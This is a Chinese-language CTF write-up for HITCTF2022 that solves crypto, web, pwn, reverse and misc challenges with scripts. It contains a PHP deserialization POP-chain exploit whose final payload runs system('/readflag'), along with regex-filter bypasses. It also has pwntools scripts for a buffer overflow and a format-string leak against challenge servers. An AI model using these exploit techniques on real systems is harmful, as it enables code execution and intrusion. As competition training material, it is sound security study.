打到第三,最后把RSA想到解法了,还行,已知高位攻击分解 p 的方法还可以学学。
附件下载
Crypto Crypto1 拿出来是一个16进制,看着像 tar 的文件头,拿到解压,得到 1 文件,文件结构比较乱。看着像base家族,然后拿到 base85转hex之后发现又是熟悉的文件头。
所以可能应该是严重套娃,写个脚本统计字符数,如果发现是 tar 文件头那就直接解压拿文件内容,如果类似 base 家族的信息就 base 解码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import gzipimport base64import base91import base58import base62from collections import Counterwith open ('1' ,'rb' )as f: text=f.read() def get_count (str1 ): c=dict (Counter(str1)) return len (c) baseX=(get_count(text)) while 1 : baseX=(get_count(text)) print ('count:{}' .format (baseX)) if text.startswith(b'\x1f\x8b' ): text=gzip.decompress(text) elif baseX==85 or baseX==84 : text=base64.b85decode(text) elif baseX==64 or baseX==65 : text=base64.b64decode(text) elif baseX==32 or baseX==33 : text=base64.b32decode(text) elif baseX==58 : text=base58.b58decode(text) elif baseX==62 : text=bytes .fromhex(hex (base62.decode(text.decode()))[2 :]) pass else : print (text) break
flag:HITCTF2022{Y0u_Ar3_Th3_King_0f_Base}
Crypto2 发现就是一个计数器,然后有一个栈结构,实现了 加减乘 取模的结构,题目给了 cmd.txt,实现对各个数的运算,flag 被穿插在了 cmd 中间,于是一开始想到使用 z3,并用这样的思路去模拟:
如果取出的两个数有一个为未知数,那么新建一个未知数,设得到的结果为该未知数,否则就是常数,flag为初始状态唯一的未知数,于是找到脚本去改改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 import stringfrom Crypto.Util.number import *from z3 import *from num import *ss=Solver() p = 2 **607 - 1 print (type (x1))cnt=1 def scan (s ): step=[] global cnt while s: if s[0 ] in string.ascii_letters: step.append(s[0 ]) s = s[1 :] elif s[0 ] == '[' : s = s[1 :] num = s[:s.index(']' )] if num=='#' : step.append(eval ('x{}' .format (cnt))) cnt+=1 else : step.append(int (num)) s = s[len (num) + 1 :] else : raise AssertionError return step def calc (s ): global cnt,ss stack = [] for token in scan(s): if type (token) == int : stack.append(token) elif type (token) != type ('' ): stack.append(token) else : b, a = stack.pop(), stack.pop() if type (a)!=type (1 ) or type (b)!=type (1 ): tmp='x{}' .format (cnt) cnt+=1 op='' if token=='s' : op='+' elif token=='u' : op='-' else : op='*' stack.append(eval (tmp)) print ("({}{}{})%{}=={}" .format (a,op,b,p,tmp)) ss.add(eval ("({}{}{})%{}=={}" .format (a,op,b,p,tmp))) else : if token=='s' : v=(a+b)%p elif token=='u' : v=(a-b)%p else : v=a*b%p stack.append(v) return stack[0 ] cmd = open ('cmd.txt' , encoding='utf8' ).read() q=(calc(cmd)) print (ss.check())print (ss.model())long_to_bytes()
这里的 num.py就是一开始感觉可能未知数会很多,存了很多z3的未知数放在了 num.py 中。
没想到最后的结果只有 13 个式子
然后我们就是已知x13求 x1 了,本来以为 z3 能求,没想到这么慢,就用python 手算了,当时的终端日志:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 >>> from Crypto.Util.number import *>>> ans=211628186767393818556251909887187904577210135303836860239435739472106633529410929587038047765313010325750338075891823682635502490521440215978665151485743439682336190814184610992830040 >>> p = 2 **607 - 1 >>> ans-=357912307834259213653128634794940914596507256175506043013473144575889601751685024934341011218038398747178612125892760523871786468537993455666648592264307733564175853226677357748565113 >>> ans-146284121066865395096876724907753010019297120871669182774037405103782968222274095347302963452725388421428274050000936841236283978016553239687983440778564293881839662412492746755735073 >>> ans+=p>>> ans384853871749901703592711481644715617310295996855362740425406733096620591638578147391859538812503897247461055436245564174110295359636153999721536537988023058061991608422900472275993054 >>> ans*=inverse(411462633351188704608772808736605191389923045827641716511469308371854121046362931301201375260845451848982856577009623299816324457739774142518892624317933419004496564018161840092441609 ,p)>>> ans%=p>>> ans418346905060800167260049738638067853961486426712513656666212094740768015121073928933318747489519801460345109750830490811773059261509895197234287326140319651698134732652500878028530814 >>> ans-=405277799051970673662801377723672963663731597810359617329765419659576945597240297480269578668417239423727580929070705786881955931110402398335890389099929008486871336532303266008184849 >>> ans13069106008829493597248360914394890297754828902154039336446675081191069523833631453049168821102562036617528821759785024891103330399492798898396937040390643211263396120197612020345965 >>> ans*=inverse(266786049503793180671593180171285607267937291386517024152767948485542129161609474025939244637171224835933234460786246192462321233844724721442838436104220216301662441280032397322012869 ,p)>>> ans%=p>>> ans113703124700679415383479743965644767633594126070651549962364962272435752988984615903023681215001828712939598216346460095306989575968395882257838134421383244651513367699814797977622406 >>> ans-=329413142624682830072062312344664670657676804598199974252482170738455671758477066245274544233089658385383771602659521107081460343229409192986193619974433238593388986719171190288572226 >>> ans-215710017924003414688582568379019903024082678527548424290117208466019918769492450342250863018087829672444173386313061011774470767261013310728355485553049993941875619019356392310949820 >>> ans+=p>>> ans*=inverse(509747518370752815356459801084195729310089672054058702183281061987169033803508549887738101604685367942973008687501702092204264485750605361311969988578288525486444957877546554793693797 ,p)>>> ans%=p>>> ans+=165839131146163706086115367996555974012081654422136256245648685955916878221421477398411421659597644170978751681140704059146026898331248207774348535156605590710456443740029571361676159 >>> ans%=p>>> ans*=inverse(142121702801478829020260933003861049247883466530930799943577455779988122604459669110334205260923754356449343846208954099483456230863726350624778551913564131383628808003460154339600404 ,p)>>> ans%=p>>> ans*=inverse(183071373516520549207577402797386102692277431976907349274136009719534503668840785924520834697959249645197750171829448025189506854326750416465015622082002300707311266953797519604299392 ,p)>>> ans%=p>>> ans=84814702442206743141315418314363700843763684274888674447614037562848731974003165144242888622700246417328307742191053416029770031887073881821630737367508536343638035495945224940047233 -ans>>> ans-57346359750140432160613879275219263328193373815643163857605651581577450405087145996489449260500259437702860775381384795627277159922495354915571768471542062057852722450670143168549306 >>> ans+=p>>> ans%=p>>> ans*=inverse(393926316432640484766273060620865379785410111973395923709856173813361374147800349857401893990151884942524826629432805076866870155732114631381903699794058108179098102490606577881709383 ,p)>>> ans%=p>>> ans-=81400841347738205877353746324299277291277356563154583584412416913743196467840261318987244863470045052929898762129171746639696678721661976384989764957120352119094038687040657495882525 >>> ans56006392793427440466629830465381697234575472764283528943993409475750880292090685471640666369998009981 >>> hex (ans)'0x666c61677b61363139633330322d633338352d343130652d383561612d3932613239366330643061367d' >>> long_to_bytes(ans)b'flag{a619c302-c385-410e-85aa-92a296c0d0a6}' >>>
Crypto4 给了我们一个 task.sage,并且告诉了我们公钥生成的式子,告诉了我们
我们已知 n 就可以写一下脚本,去求出 p 的大概范围,这里可以用二分法,然后noise取理论最大值和理论最小值得到一个 p 的范围,并且用 hex 输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from z3 import *from gmpy2 import irootfrom Crypto.Util.number import *n=42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933 l=1 r=n x=2 **51 while l<r: p=l+r+1 >>1 if p*(1337 *(p + x)**2 + 7331 *p + 1 ) <=n: l=p else : r=p-1 small=p l=1 r=n x=2 **52 while l<r: p=l+r+1 >>1 if p*(1337 *(p + x)**2 + 7331 *p + 1 ) <=n: l=p else : r=p-1 big=p print (hex (small))print (hex (big))
我们可以发现,高位几乎是一模一样的,所以这题可以变成已知高位的一个攻击手段。
去找了一下网上的已知高位攻击的脚本,不过发现生成的 p 并不是 512 位的,多次修改发现是 510 位的才跑出来一个 p 的结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from sage.all import *n = 42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933 p4 =0x3c6115276d08deac00dfaf9d48fd0eab3c30f7babcfb7c84c1c9012cf2223ff755d14045772e01b55288fbd9b6c140ca300ca8dbf4ae8c41442 e = 0x10001 pbits = 510 kbits = pbits - p4.nbits() p4 = p4 << kbits PR.<x> = PolynomialRing(Zmod(n)) f = x + p4 roots = f.small_roots(X=2 ^kbits, beta=0.3 ) print (roots)if roots: p = p4+int (roots[0 ]) print ("n: " , n) print ("p: " , p) print ("q: " , n/p)
后面就没啥好说了,n 分解了就正常求 rsa 了。
1 2 3 4 5 6 7 8 9 10 11 12 from Crypto.Util.number import *p=3162316819738671021874985141532340342028040544925325710662118932434889166575989423317260385980164167805568842134780402442191186968988395978308268436614489 c = 3528318136699440157664914506056633597368224752169169950632753898494454158424115366926095425749531868842874771964596508396972663383750763286285034629541063915735387547518003994077453821130849629958388768308449998767664057687468979091006268419207698084959237052794741550442575592311224791991420882101657879291324190611435577370047270182640408743508066884971144331157658093543197683834621836557941029254150133864346305341027175337233841704103517573602775811714443841 n=42281223026266109843683409681118610277610017116933717856285160716083325923418899921399912384205533143673068697213953854832112937986299982851528882496119429799676993137756826528817202721177191017404159423747620800036042008776355429046883195301825150458751448035881323000754250515270736764305017665841383652401183801845449690571064432230463927010255349396474019891980511609640555698032077835270181133120180108898601433761334599958033460390265794438104045904718661933 q=n//p phi=(p-1 )*(q-1 ) d=inverse(2 **16 + 1 ,phi) m=pow (c,d,n) print (hex (m))
Web web2 题目给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 <?php class a { protected $a1 ; private $a2 ; private $a3 ; public function __unset ($unset ) { $this ->a2 = []; if ($this ->a3){ if ($this ->a1->{$unset } != []){ $this ->a1->{$unset } = $this ->a2; } } } function __clone ( ) { $cls = $this ->a1; if (is_object ($cls )){ return $cls ($this ->a2); } return new stdClass (); } public function __toString ( ) { return $this ->a1.$this ->a2; } public function __call ($name , $args ) { } } class b { private $b1 ; private $b2 ; public function __destruct ( ) { $this ->b1->x11 (); } public function __wakeup ( ) { if (is_object ($this ->b1) && get_class ($this ->b1) != e::class ) { if (property_exists ($this ->b1, $this ->b2)){ unset ($this ->b1->{$this ->b2}); } } exit (); } } class c { private $c1 ; private $c2 ; public function __construct ( ) { $this ->c1 = "are you a hacker?" ; } public function __destruct ( ) { echo $this ->c1; } public function __wakeup ( ) { $this ->c1 = "don't hack me!!!" ; } public function __call ($name , $args ) { $func = $this ->c2[$name ]; if (!in_array ($func , get_defined_functions ())){ $func (...$args ); } } } class d { private $d1 ; private $d2 ; public function __toString ( ) { if (!isset ($this ->d1) && isset ($this ->d2)){ $this ->d1 = clone $this ->d2; } return $this ->d1.$this ->d2; } } class e { private $e1 ; private $e2 ; public function __invoke ($args ) { if ($this ->e1){ $this ->e1->e11 ($args ); } } public function __get ($name ) { if (isset ($this ->e1) && isset ($this ->e2)){ $this ->e1 = $this ->e2; } return $this ->e1; } } class f { public function ev1l ($_ ) { if ($_ [0 ] != $_ [1 ] && $_ [0 ] !== $_ [1 ] && md5 ($_ [0 ]) === md5 ($_ [1 ]) && sha1 ($_ [0 ]) === sha1 ($_ [1 ]) && strlen ((string )$_ [0 ]) < 5 && !is_object ($_ [0 ])){ create_function ('' , $_ [2 ]); } } } if (isset ($_POST ['ser' ])){ $ser = $_POST ['ser' ]; if (!preg_match ('/ev1l|(s:\d+:)/' ,$ser ) && !preg_match ('/\x00|("[a-f]":\d+:\{)/i' ,$ser ) && !preg_match ("/\}$/" ,$ser )){ $obj = unserialize ($ser ); throw new Exception ("can't destruct" ); }else { die ("hacker!" ); } }else { highlight_file (__FILE__ ); }
分析可得调用链如下
1 b::__wakeup -> d::__toString -> a::__clone -> e::__invoke -> c::__call -> f::ev1l
f::ev1l 函数那的判断用浮点数精度绕过
1 2 md5 (0.4 ) == md5 (0.400000000000004 )
EXP如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php class b { private $b1 ; private $b2 ; public function __construct ($o ) { $this ->b1 = $o ; $this ->b2 = $o ; } } class d { private $d1 ; private $d2 ; public function __construct ($o ) { $this ->d2 = $o ; } } class a { protected $a1 ; private $a2 ; private $a3 ; public function __construct ($o , $arg ) { $this ->a1 = $o ; $this ->a2 = $arg ; } } class e { private $e1 ; private $e2 ; public function __construct ($o ) { $this ->e1 = $o ; } } class c { private $c1 ; private $c2 ; public function __construct ( ) { $this ->c2 = array ("e11" =>"f::ev1l" ); } } $c = new c ();$e = new e ($c );$arg = array (0.4 ,0.400000000000004 ,"2;}phpinfo();/*" );$a = new a ($e ,$arg );$d = new d ($a );$b = new b ($d );echo urlencode (serialize ($b ));
还有一段正则过滤要处理
ev1l和\x00使用 S:
16进制绕过,顺便绕过第一个正则那的s:\d+:
过滤
"[a-f]":\d+:\{
使用 b":+2:
绕过
\}$
这段使用}test
绕过 }后有字符就行
最终payload如下:
1 O:1 :"b" :%2 B2:{S:5 :"\00b\00b1" ;O:1 :"d" :%2 B2:{S:5 :"\00d\00d1" ;N;S:5 :"\00d\00d2" ;O:1 :"a" :%2 B3:{S:5 :"\00*\00a1" ;O:1 :"e" :%2 B2:{S:5 :"\00e\00e1" ;O:1 :"c" :%2 B2:{S:5 :"\00c\00c1" ;N;S:5 :"\00c\00c2" ;a:1 :{S:3 :"e11" ;S:7 :"f::\65v1l" ;}}S:5 :"\00e\00e2" ;N;}S:5 :"\00a\00a2" ;a:3 :{i:0 ;d:0.40000000000000002 ;i:1 ;d:0.40000000000000402 ;i:2 ;S:25 :"2;}system(" /readflag");/*" ;}S:5 :"\00a\00a3" ;N;}}S:5 :"\00b\00b2" ;r:2 ;}test
Pwn Pwn1 签到题,直接溢出拿 backdoor 获得权限
1 2 3 4 5 6 7 8 9 from pwn import *p=remote('116.255.213.249' ,9999 ) elf=ELF('./pwn_easy' ) backdoor=0x8049216 payload=b'a' *0x2c +p32(backdoor) p.sendafter(b'Please input your username:' ,payload) p.interactive()
Pwn2 这题利用格式化字符串的漏洞,我们可以读取 old_flag.txt,但是只是一句无意义的话 flag well tell you the truth about time. 我觉得出题人有侮辱我英语的嫌疑 。
用下面的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *import recontext.log_level='debug' p=process('./time' ) payload=(b'.%x' *12 +b'.%p' *500 )[:255 ] p.sendlineafter(b'Who are you?' ,payload) p.sendlineafter(b'2.old_flag.txt' ,str (2 )) p.interactive()
读取之后选择选项 1 可以以 8 字节 16 进制的形式输出内容, old_flag.txt就是上面那句话。
但是因为它多线程,并且在读取 old_flag.txt 的时候有一个休眠操作,所以我们可以乘此机会把 old_flag.txt 修改成 flag.txt 再读出来,当时就是随便乱按出来了。
flag:HITCTF2022{time-is-a-file-that-wears-and-makes-no-noise}
Pwn4 典型 nim 博弈,只有三个石堆,对于该博弈:若三个石子的异或和为0,则当前出手必输,它在生成的时候强制要求了 三个石子的异或和不能为0,也就是说我们后手我们必输。我们先先手拿下 AI 拿到前半部分的 flag。
后面审计代码的时候发现在选择先手的时候有一个未初始化的漏洞,我们选了 1 不会设置谁先先手,而 2 会设置。于是为了拿后手赢的 flag 我们可以先输一次,然后再拿先手赢的 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *import recontext.log_level='debug' def do_process (): s=p.recvuntil(b'left' ) res=re.search('\| (.*?) left' ,s.decode()).group(1 ) return int (res) def find (A,B,C ): value=A^B^C if value==0 : return None ,None if A-(A^value) >=0 : return 'A' ,A-(A^value) if B-(B^value) >=0 : return 'B' ,B-(B^value) if C-(C^value) >=0 : return 'C' ,C-(C^value) return None ,None flag=1 while True : p=remote('122.114.240.98' ,10051 ) p.sendlineafter(b'y/n' ,'y' ) p.sendlineafter(b'plz' ,'xia0ji233' ) if flag: p.sendlineafter(b'1: you go first; 2: AI goes first' ,'2' ) while True : A=do_process() B=do_process() C=do_process() A=do_process() B=do_process() C=do_process() cnt=0 if A==0 : cnt+=1 p.sendlineafter(b'which heap? >' ,'B' ) p.sendlineafter(b'how much to take? >' ,str (B)) break if B==0 : cnt+=1 p.sendlineafter(b'which heap? >' ,'B' ) p.sendlineafter(b'how much to take? >' ,str (A)) break if C==0 : cnt+=1 p.sendlineafter(b'which heap? >' ,'B' ) p.sendlineafter(b'how much to take? >' ,str (A)) break if cnt==0 : p.sendlineafter(b'which heap? >' ,'A' ) p.sendlineafter(b'how much to take? >' ,str (A)) p.sendlineafter(b'y/n' ,'y' ) p.sendlineafter(b'1: you go first; 2: AI goes first' ,'1' ) while True : A=do_process() B=do_process() C=do_process() print (A,B,C) cnt=0 if A==0 : cnt+=1 if B==0 : cnt+=1 if C==0 : cnt+=1 heap,num=find(A,B,C) if heap==None : p.shutdown() quit() break p.sendlineafter(b'which heap? >' ,heap) p.sendlineafter(b'how much to take? >' ,str (num)) if cnt==2 : break A=do_process() B=do_process() C=do_process() p.interactive()
Reverse Reverse1 SPARC架构的,扔到ghidra里面去反编译,里面 main 函数和 ss 函数比较有用, ss 函数分析到最后得出就是一个除法,最后判断余数是否相等。
它的逻辑就是my_input/1314561==15999967210166348148……163829。
这个稍微反一下就好了flag=15999967210166348148*1314561+163829=21032932895763484787946857
Reverse2 进入 main 函数发现有自带混淆,最后调用了一个 CreateThread 去执行。那么在这里下断点,然后跟进 StartAddress 里面。
然后输入flag 发现,我们的输入在 byte_40401C 中,对此交叉引用来到
发现仅仅对我们的输入进行了 ^0x40。
我们继续往下看,调用了 writeprocessmemory 把我们的代码写到了那个地方,于是分析一下4013A0的代码,发现底下有对我们的结构体逐一比对计算。
我们按顺序重排一下,可以写出下面的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <stdio.h> int a=0x12345678 ;int main () { char inp[0x20 ]; inp[4 ]=20 ; inp[3 ]=3 ; inp[2 ]=20 ; inp[1 ]=9 ; inp[0 ]=8 ; inp[9 ]=114 ; inp[8 ]=114 ; inp[7 ]=112 ; inp[6 ]=114 ; inp[5 ]=6 ; inp[14 ]=117 ; inp[13 ]=120 ; inp[12 ]=114 ; inp[11 ]=118 ; inp[10 ]=59 ; inp[19 ]=61 ; inp[18 ]=114 ; inp[17 ]=115 ; inp[16 ]=121 ; inp[15 ]=114 ; for (int i=0 ;i<0x20 ;i++){ putchar (inp[i]^0x40 ); } }
运行得到答案
Reverse4 ida 打开去花指令,call 00001040的指令后两个字节 需要patch 成 0x90,驱动hook 了 idt,DriverEntry 里面的 sub 1420里面的 sub 1170 的参数是Hook ldt的位置,0x1050 是判断flag的位置,然后flag拷贝到了驱动里面。
驱动层 Hook 了 idt,用户层DeviceIOControl 带回来两个个 中断字节 并将其写入MessageBox的头部,用于判断flag的 0xb,0xc,0x13,0x14位,IOControl的处理函数里判断了0xd,0xe,0xf,0x10位,剩下的其他字节可以在用户层找到
flag:HITCTF2022{991048756}
Misc Misc3 Misc3 拿到手是一个后缀名为jpg格式的文件,但用图片查看器无法查看,拖入010中检查发现首部有一小段神似png文件格式
套入PNG模板后根据经验修改文件头和文件尾,但是搜索发现文件中已然存在一个文件尾,不过不在文件的最后面
直接将后面的部分删去
保存之后发现可以查看图片了,但是图片显示一个小白条
猜测可能是图片的宽和高不太够导致图片显示不全,但在改大宽高之后010报错了
于是只能准确一些,用脚本配合文件的CRC跑出正确的宽和高
得到图片
输入发现不是flag,卡了一段时间,突然醒悟,先前删去的文件尾端的东西是不是有用,于是重新捡回来
因为拿到了一个password,猜测可能是图片隐写的密码或者是压缩包解压密码,多次尝试和观察后,发现原文件尾端的数据的开头转16进制,神似打乱了的7z文件的文件头,于是修改一下文件头
果然是个压缩包
解压获得flag